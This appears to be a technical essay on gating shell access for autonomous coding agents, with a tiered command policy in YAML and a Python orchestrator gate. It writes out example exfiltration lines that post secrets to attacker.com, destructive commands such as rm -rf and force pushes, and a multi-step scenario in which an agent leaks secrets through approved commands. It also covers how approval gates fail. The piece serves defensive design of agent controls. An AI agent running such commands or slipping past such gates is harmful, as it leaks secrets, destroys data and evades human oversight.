Containers limit blast radius. They do not prevent an autonomous coding agent from reading a secret in one tool call and exfiltrating it via an outbound network call in the next, all within the same approved session. They do not stop force pushes to protected branches. They do not prevent irreversible commands during unattended runs.
The question is not whether to gate shell access. The question is how to build a gate that does not break legitimate agent workflows while blocking destructive operations, and what happens when the gate itself fails.
The Container Illusion
Running an agent in a container provides process isolation and filesystem boundaries. It does not provide semantic command control.
What containers give you:
- Process namespace isolation
- Filesystem mount restrictions
- Network policy enforcement at the pod level
- Resource limits (CPU, memory, disk I/O)
What containers do not give you:
- Visibility into command intent (is
curlfetching a dependency or exfiltrating data?) - Protection against multi-step attacks within a single session
- Control over git operations that respect repository permissions but violate team policy
- Rollback capability for stateful external API calls
An agent with shell access inside a container can still git push --force, kubectl delete, aws s3 rm --recursive, or curl -X POST https://attacker.com -d @secrets.env. The container boundary is orthogonal to command semantics.
Command Allowlists: The Naive Approach
The simplest gate is a command allowlist. The agent submits a shell command. The orchestrator checks it against a list of approved patterns. If it matches, the command executes. If not, the request is denied or escalated.
Allowlist implementation patterns:
| Pattern | Example | Failure Mode |
|---|---|---|
| Exact match | npm install, git status | Breaks on argument variations (npm install --legacy-peer-deps) |
| Prefix match | git checkout, docker build | Allows git checkout main && rm -rf / |
| Regex with capture groups | ^git checkout (feature|bugfix)/.*$ | Regex complexity explodes; maintenance burden high |
| AST parsing | Parse shell syntax, validate command tree | Requires full shell parser; edge cases in quoting, escaping, subshells |
The fundamental problem: shell commands are compositional. An allowlist that permits cat and curl separately does not prevent cat secrets.env | curl -X POST https://attacker.com.
Human-in-the-Loop Approval Gates
The alternative is to require human approval for any command outside a narrow safe set. The agent submits a command. The orchestrator pauses execution, sends a notification, and waits for approval.
Critical design question: what happens when approval times out?
Default-Allow Timeout Behavior
If the approval request times out and the system defaults to allow, you have created an unattended execution path. An agent running overnight will eventually hit a command that requires approval. If no human responds within the timeout window (30 seconds? 5 minutes?), the command executes anyway.
This is acceptable only if:
- The timeout is long enough that a human on-call can reasonably respond
- The agent is running during hours when a human is guaranteed to be available
- The command is logged and auditable after the fact
Default-Deny Timeout Behavior
If the approval request times out and the system defaults to deny, the agent loop breaks. The agent cannot proceed. The task fails.
This is acceptable only if:
- The agent can gracefully handle command rejection and retry later
- The orchestrator can queue the approval request for later review
- The failure does not cascade into downstream tasks that assume the command succeeded
Most production systems choose default-deny because the alternative is a security bypass. But default-deny requires the agent to be stateless enough to resume from the point of failure, which is not always true for multi-step workflows.
Approval Loop Failure Modes
Approval gates introduce new failure surfaces:
Notification delivery failure: The approval request never reaches the human. The agent times out and fails. The human never knows a decision was needed.
Approval service downtime: The orchestrator cannot reach the approval API. Does it fail open (allow all commands) or fail closed (deny all commands)? Fail-open is a security bypass. Fail-closed is a liveness failure.
Stale approval tokens: The human approves a command, but by the time the approval is processed, the agent’s session has expired or the environment has changed. The command executes in a different context than the one the human reviewed.
Approval fatigue: The agent generates dozens of approval requests per hour. The human starts clicking “approve” without reading. The gate becomes security theater.
Session-Scoped Secrets and Multi-Step Attacks
Even with command gating, an agent can exfiltrate secrets across multiple approved commands:
- Agent runs
cat .env(approved, read-only operation) - Agent stores the output in memory
- Agent runs
curl -X POST https://logging-service.example.com -d "$SECRET"(approved, legitimate logging endpoint)
The orchestrator sees two independent, approved commands. It does not see the data flow between them.
Mitigation strategies:
- Redact secrets in command output: The orchestrator intercepts stdout/stderr and redacts known secret patterns before returning output to the agent. Requires maintaining a secret inventory and regex patterns.
- Network egress filtering: Block outbound connections except to an allowlist of domains. Requires maintaining the allowlist and breaks legitimate use cases (fetching dependencies, calling external APIs).
- Ephemeral credentials with scoped permissions: Rotate credentials every N minutes. Limit credential scope to the minimum required for the current task. Requires credential management infrastructure.
None of these are foolproof. Redaction fails if the secret format is not recognized. Egress filtering breaks legitimate workflows. Ephemeral credentials still allow exfiltration within their validity window.
Practical Architecture: Layered Gates
A production-grade shell access gate combines multiple layers:
# Command gate configuration
command_policy:
# Tier 1: Always allowed, no approval required
safe_commands:
- pattern: "^(ls|pwd|echo|cat [^/]*\\.md)$"
max_frequency: 100/minute
# Tier 2: Allowed with automatic approval if conditions met
conditional_commands:
- pattern: "^git (status|diff|log)$"
conditions:
- repository_in_allowlist
- no_force_flags
auto_approve: true
- pattern: "^npm (install|test|run build)$"
conditions:
- package_lock_unchanged
- no_postinstall_scripts
auto_approve: true
# Tier 3: Requires human approval
approval_required:
- pattern: "^git push"
timeout: 300s
default: deny
escalation:
- slack_channel: "#agent-approvals"
- pagerduty_if_no_response: 600s
- pattern: "^(rm|kubectl delete|aws s3 rm)"
timeout: 600s
default: deny
require_justification: true
# Tier 4: Always denied
blocked_commands:
- pattern: ".*sudo.*"
- pattern: ".*chmod \\+x.*"
- pattern: ".*eval.*"
# Session policy
session:
max_duration: 3600s
credential_rotation: 900s
output_redaction:
- pattern: "(?i)(api[_-]?key|secret|token|password)\\s*[:=]\\s*['\"]?([^'\"\\s]+)"
replace: "[REDACTED]"
network_egress:
mode: allowlist
allowed_domains:
- "*.npmjs.org"
- "github.com"
- "api.openai.com"
block_ip_literals: true
# Audit
audit:
log_all_commands: true
log_all_output: true
retention: 90d
alert_on:
- blocked_command_attempt
- approval_timeout
- credential_rotation_failure
Implementation: Orchestrator-Side Interception
The gate sits between the agent and the shell. The agent does not execute commands directly. It submits command requests to the orchestrator, which applies the policy.
# Simplified orchestrator command gate
import re
import asyncio
from enum import Enum
class CommandDecision(Enum):
ALLOW = "allow"
DENY = "deny"
APPROVE = "approve"
class CommandGate:
def __init__(self, policy, approval_service):
self.policy = policy
self.approval_service = approval_service
async def evaluate(self, command: str, session_context: dict) -> CommandDecision:
# Tier 1: Safe commands
for safe_pattern in self.policy.safe_commands:
if re.match(safe_pattern.pattern, command):
return CommandDecision.ALLOW
# Tier 2: Conditional auto-approve
for cond_pattern in self.policy.conditional_commands:
if re.match(cond_pattern.pattern, command):
if self._check_conditions(cond_pattern.conditions, session_context):
return CommandDecision.ALLOW
# Tier 3: Approval required
for approval_pattern in self.policy.approval_required:
if re.match(approval_pattern.pattern, command):
try:
approved = await asyncio.wait_for(
self.approval_service.request_approval(
command=command,
context=session_context,
timeout=approval_pattern.timeout
),
timeout=approval_pattern.timeout
)
return CommandDecision.ALLOW if approved else CommandDecision.DENY
except asyncio.TimeoutError:
# Default behavior on timeout
return CommandDecision.DENY
# Tier 4: Blocked commands
for blocked_pattern in self.policy.blocked_commands:
if re.match(blocked_pattern.pattern, command):
return CommandDecision.DENY
# Default: deny unknown commands
return CommandDecision.DENY
def _check_conditions(self, conditions, context):
# Evaluate conditional logic (repository allowlist, etc.)
return all(self._eval_condition(c, context) for c in conditions)
The orchestrator intercepts every shell invocation, applies the policy, and either executes the command, denies it, or pauses for approval.
Observability and Audit
Every command attempt must be logged, whether allowed or denied. The audit trail should include:
- Command text
- Session ID and agent ID
- Decision (allow, deny, approve)
- Approval latency (if applicable)
- Command output (redacted)
- Exit code
- Timestamp
This log is the primary forensic artifact when something goes wrong. It answers:
- What did the agent try to do?
- Why was it allowed or denied?
- Who approved it, and how long did approval take?
- What was the result?
When Approval Gates Break Workflows
Approval gates introduce latency. An agent that could previously execute 50 commands in 10 seconds now waits 30 seconds for each approval. The workflow slows by 100x.
Strategies to reduce approval latency:
- Batch approvals: Group related commands into a single approval request. “Approve all git operations for this PR” instead of approving each
git add,git commit,git pushseparately. - Conditional auto-approval: Define conditions under which commands can be auto-approved. “Auto-approve
npm installifpackage-lock.jsonhas not changed.” - Pre-approved command templates: Allow the agent to request approval for a parameterized command template once, then execute multiple instances. “Approve
git checkout feature/*for the next hour.”
All of these increase risk. Batch approvals mean a single bad decision approves multiple commands. Conditional auto-approval means the conditions must be correct. Pre-approved templates mean the agent can execute variations the human did not anticipate.
Technical Verdict
Use command gating with approval loops when:
- The agent operates on production infrastructure or sensitive data
- Destructive operations (delete, force push, credential rotation) are in scope
- You have on-call humans available during agent execution hours
- You can tolerate workflow latency (minutes, not seconds)
- You need an audit trail for compliance or forensics
Avoid approval loops when:
- The agent runs unattended overnight or across time zones
- Workflow latency breaks the use case (real-time incident response, live coding assistance)
- The approval volume will exceed human capacity (hundreds of requests per hour)
- The environment is already disposable (ephemeral dev containers, CI runners)
Default to deny on timeout. Fail-open approval gates are security bypasses. If you cannot tolerate workflow breakage from denied commands, the agent is too autonomous for the environment.
Containers are necessary but not sufficient. Command gating is necessary but not sufficient. Approval loops are necessary but not sufficient. You need all three, plus observability, plus incident response procedures for when the gate itself fails.